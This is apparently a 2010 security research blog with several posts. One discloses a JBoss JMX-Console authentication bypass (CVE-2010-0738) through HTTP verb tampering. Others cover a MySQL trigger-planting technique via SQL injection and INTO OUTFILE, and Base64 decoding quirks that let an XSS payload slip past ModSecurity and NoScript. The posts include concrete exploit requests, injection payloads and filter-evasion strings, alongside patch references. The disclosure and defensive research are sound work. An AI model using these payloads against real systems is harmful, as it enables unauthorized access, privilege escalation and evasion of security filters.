Friday, April 30, 2010

Good Bye Critical Jboss 0day

Authentication bypass vulnerabilities are always interesting from a penetration tester point of view, because the 80% of the time are very simple to abuse. The impact of a security bypass vulnerability depends, from a technical perspective, on what you could be able to do when you are authenticated.

Jboss has some good management tools that are used to deploy new applications and to perform privileged actions like executing scripts on the remote host. One of these is Jboss JMX-Console.

For more information on what an attacker may accomplish through the JMX-Console I suggest to read the following presentation:

Abusing Jboss by Christian Papathanasiou (Trustwave Spiderlabs)

Here at Minded Security we discovered something more. Jboss JMX console may be protected using a common password authentication, but the standard password configuration protection is vulnerable.

How many time someone suggested to you to secure the JMX console using the standard Jboss security configurations?

JMX Console standard security configuration is available in:

  • jboss/server/default/deploy/jmx-console.war/WEB-INF/web.xml

This is the suggested security configuration also available in Jboss official security guidelines (“White Paper on JMX Security”):

  • https://jira.jboss.org/jira/browse/SECURITY-31


The suggested configuration for protecting the JMX Console was the following one:

<security-constraint>
<web-resource-collection>
<web-resource-name>HtmlAdaptor</web-resource-name>
<description>An example security config that only allows users with the
role JBossAdmin to access the HTML JMX console web application
</description>
<url-pattern>/*</url-pattern>
<http-method>GET</http-method>
<http-method>POST</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>JBossAdmin</role-name>
</auth-constraint>
</security-constraint>


From the configuration above, security restrictions are enabled only for “GET” and “POST” methods. Any other HTTP method supported by the server will be not restricted.

By issuing a request with the “HEAD” method is possible to invoke directly, with “JBossAdmin” privilege, any functionality implemented by the jmx-console without valid credentials. Note: If JMX console replies with a HTTP 500 error the request has been correctly processed.

This kind of attack is referred in Appsec literature as Verb Tampering. The following one is a very good paper on this topic.

Bypassing with HTTP Verb Tampering by Arshan Dabirsiaghi - Aspect Security

The most interesting part is the exploitation. If we have access to any JMX console which is password protected or not, we can issue a HEAD HTTP request that will work ;D

Standard Deployment (will ask for password):

POST /jmx-console/HtmlAdaptor;index.jsp HTTP/1.1
....
content-lenght: 3512

action=invokeOp&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodIndex=6&arg0=..%2Fjmx-console.war%2F&arg1=argval&arg2=.jsp&
arg3=%3C%25%40+page+import%3D%22java.io.*…....

Exploitation with Authentication Bypass:

HEAD /jmx-console/HtmlAdaptor;index.jsp?action=invokeOp&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodIndex=6&arg0=..%2Fjmx-console.war%2F&arg1=argval&arg2=.jsp&arg3=%3C%25%40+page+import%3D%22java.io.*….... HTTP/1.1

Now pick the request you prefer and build your custom exploit!


Reference:
http://www.mindedsecurity.com/MSA030409.html (Official Advisory)

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0738

Solution:
A solution to this issue is already available. See the following RedHat advisories:
  • https://rhn.redhat.com/errata/RHSA-2010-0376.html
  • https://rhn.redhat.com/errata/RHSA-2010-0377.html
  • https://rhn.redhat.com/errata/RHSA-2010-0378.html
  • https://rhn.redhat.com/errata/RHSA-2010-0379.html

We would like to thank the RedHat response team in particular Marc Schoenefeld for his support, technical knowledge and fast response.

Thursday, April 22, 2010

Is Php the only language doing flexible Base64 decoding?

As a follow up to the Base64 decoding post, I did a quick research on Base64 implementations.

http://www.google.com/codesearch?hl=en&sa=N&filter=0&q=base64+decode+lang:java

And some interesting result came out:

http://www.google.com/codesearch/p?hl=en#p9nGS4eQGUI/gnu/classpath/classpath-0.13.tar.gz|er25_rDDsHI/classpath-0.13/gnu/java/net/BASE64.java&q=base64+decode+lang:java

gnu.java.net.BASE64

public static byte[] decode(byte[] bs)
{
int srclen = bs.length;
while (srclen > 0 && bs[srclen - 1] == 0x3d)
{
srclen--; /* strip padding character */
}

That means that any = is stripped before the decoding is actually done.

$ java BASE64 -d "PHNjcm======PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="
PHNjcm======PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== = <scro\ufffd\ufffd\ufffd\ufffd><script>alert(1)</script>

This is of course a bad implementation of B64 decoding.

But it could fool a control since most of decoders stop at first = sequence.

http://www.google.com/codesearch/p?hl=en#p6HPTpcXbFY/JPainter/painter.zip|Iy8ZaJ1-4W4/jsp/Base64.java&q=base64+decode+lang:java

com.izhuk.util.Base64;

public static byte[] decode(String encoded) {
int i;
byte output[] = new byte[3];
int state;

ByteArrayOutputStream data = new ByteArrayOutputStream(encoded.length());

state = 1;
for(i=0; i < encoded.length(); i++)
{
byte c;
{
char alpha = encoded.charAt(i);
if (Character.isWhitespace(alpha)) continue;
and finally:

http://www.google.com/codesearch/p?hl=en#CskViEIa27Y/src/org/apache/commons/codec/binary/Base64.java&q=base64+decode+lang:java&sa=N&cd=19&ct=rc

org.apache.commons.codec.binary.Base64

public static byte[] decodeBase64(byte[] base64Data) {
// RFC 2045 requires that we discard ALL non-Base64 characters
base64Data = discardNonBase64(base64Data);

... act surprising.

If somebody wants to continue the research of B64 implementation I'll appreciate a comment here :)

Wednesday, April 21, 2010

MySQL Stacked Queries with SQL Injection...sort of

Security experts know that is possible to inject stacked queries on Microsoft SQL Server, when dealing with SQL Injections but not on other DBMS.

In the next few lines we'll describe a new technique that could allow an attacker
to insert or update data also when there is a SQL Injection on select queries.
The most known attack also implemented on SQLMap is the takeover technique when the MySQL user has File Privileges and the DBMS is on the same server of the exposed web application.
What to do when the DBMS host is on a different server?

Something can be done by abusing Triggers.
MySQL supports Triggers since 5.0.2.
In MySQL, Triggers are wrote as a separate file on the same directory of
the Database data dir.
It needs two files:
  • /mysql/datadir/DB/TableName.TRG
  • /mysql/datadir/DB/TriggerName.TRN

Suppose now that a `user` table exists on users DB.
So run mysql client and create the following trigger:

mysql> delimiter //
mysql> CREATE trigger atk after insert on user for each row
-> begin
-> update user set isadmin=1 where isadmin=0;
-> end//
mysql> delimiter ;

We can see that two files were created in data directory of users DB:
/var/lib/mysql/users/atk.TRN

TYPE=TRIGGERNAME
trigger_table=user

and /var/lib/mysql/users/user.TRG

TYPE=TRIGGERS
triggers='CREATE DEFINER=`root`@`localhost` trigger atk after insert on user for each row\nbegin\nupdate user set isadmin=1 where isadmin=0;\nend'
sql_modes=0
definers='root@localhost'
client_cs_names='latin1'
connection_cl_names='latin1_swedish_ci'
db_cl_names='latin1_swedish_ci'


What happens if we successfully write user.TRG and atk.TRN in
/var/lib/mysql/users/users.TRG using INTO OUTFILE ?

AND 1=0 union select 'TYPE=TRIGGERS' into outfile
'/var/lib/mysql/users/user.TRG' LINES TERMINATED BY '\\ntriggers=\'CREATE
DEFINER=`root`@`localhost` trigger atk after insert on user for each row\\nbegin
\\nupdate user set isadmin=0 where
isadmin=1;\\nend\'sql_modes=0\ndefiners=\'root@localhost\'\nclient_cs_names=\'l
atin1\'\nconnection_cl_names=\'latin1_swedish_ci\'\ndb_cl_names=\'latin1_swedi
sh_ci\'\n';

Then do the same to create atk.TRN

TYPE=TRIGGERNAME
trigger_table=user

MySQL will check if a TRG extension is present and will execute the
trigger.
So, in this scenery, after a user registration every user will be an admin... and Stored Xss like Frame Injection could be accomplished as well.
Also some privilege escalation could probably be done since the DEFINER keyword says to MySQL the user on behalf the trigger should be executed.

Another interesting thing about this attack is that we can try fuzzing
  • tabname.MYD
  • tabname.MYI
  • tabname.frm
and of course
  • tabname.TRG
  • triggername.TRN

file format and try to exploit the file format parsers.
We found some crash on TRG which doesn't seem to be exploitable, but who knows..further research could result in exploitable parser errors on those file formats.

Fooling B64_Encode(Payload) on WAFs and filters

When dealing with Web Application Firewall, IDSs or application filters trying to block attacks there are always two big problem:
  • Completeness
  • Correctness
We know Regexp could be faulty, but let's suppose there's some sort of encoding in the payload which is furtherly decoded on some server side layer and then used in clear text to pass it to another layer.
A good defense should be to let the WAF/Filter decode it and check for attack patterns (using regexp..).
Now the question is how can I implement a decoder to get the input back in clear?
Let's talk about Base64.

Base64 encoding and decoding are implemented in many ways and many languages.
For example PHP base64_decode() is:
  • Very greedy.
  • Goes ahead even if something goes wrong

Even some Java Implementation is kind of greedy:
com.sun.org.apache.xerces.internal.impl.dv.util.Base64

public static byte[] decode(String paramString) {
if (paramString == null) {
return null;
}
char[] arrayOfChar = paramString.toCharArray();
int i =
removeWhiteSpace(arrayOfChar);


The question is: How to rely on WAF or filters controls if they miss some
behaviour?

NoScript checks for Base64 encoded Xss.
ModSecurity implements Base64 decoding using the following rule:

SecRule ARGS:b64 "alert" "t:base64decode,log,deny,status:501"

So the following payload is caught by both:
b64_encode("<script>alert(1)</script>");

PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

Mod_Security:

NoScript:



But since the real decoder is on another layer, let's try with PHP's decoder
using the illegal character '.':

P.HNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

Here's what happens:



ModSecurity (v. 2.5.6-1) and NoScript (v. 1.9.9.61) are bypassed.
Same happens for other illegal character.
Now NoScript is fixed (v. >= 1.9.9.62) and I expect ModSecurity to be fixed soon.

The question still remains.
How to rely on WAF or filters controls if they miss some behaviour?

WAFs and IDSs are good for defense in depth.
So don't rely too much on those.
Apply SSDLC by implementing correct filters and controls and
Test, Test, Test in your own environment!